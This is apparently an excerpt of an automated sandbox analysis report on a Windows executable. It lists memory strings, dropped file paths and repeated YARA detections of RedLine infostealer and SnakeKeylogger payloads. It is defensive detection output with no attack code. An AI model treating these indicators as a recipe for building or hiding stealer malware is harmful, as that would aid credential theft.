Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: String function: 02B2894C appears 56 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: String function: 02B144DC appears 74 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: String function: 02B14500 appears 33 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: String function: 02B14860 appears 949 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: String function: 02BD894C appears 50 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: String function: 02AE46D4 appears 155 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: String function: 02BC4860 appears 683 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: String function: 02AE4860 appears 683 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: String function: 02BC46D4 appears 155 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: String function: 02AF894C appears 50 times

Source: EPTMAcgvNZ.exe	Binary or memory string: OriginalFilename vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002375000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1351068324.00000000217FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1351068324.000000002179D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1415066252.000000007FB20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1411922901.0000000021EF1000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1409907919.0000000021A70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1409907919.0000000021A70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FCDF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe

Source: EPTMAcgvNZ.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 14.2.yihfsboC.pif.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 21.2.Cobsfhiy.PIF.20805c08.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.1.yihfsboC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
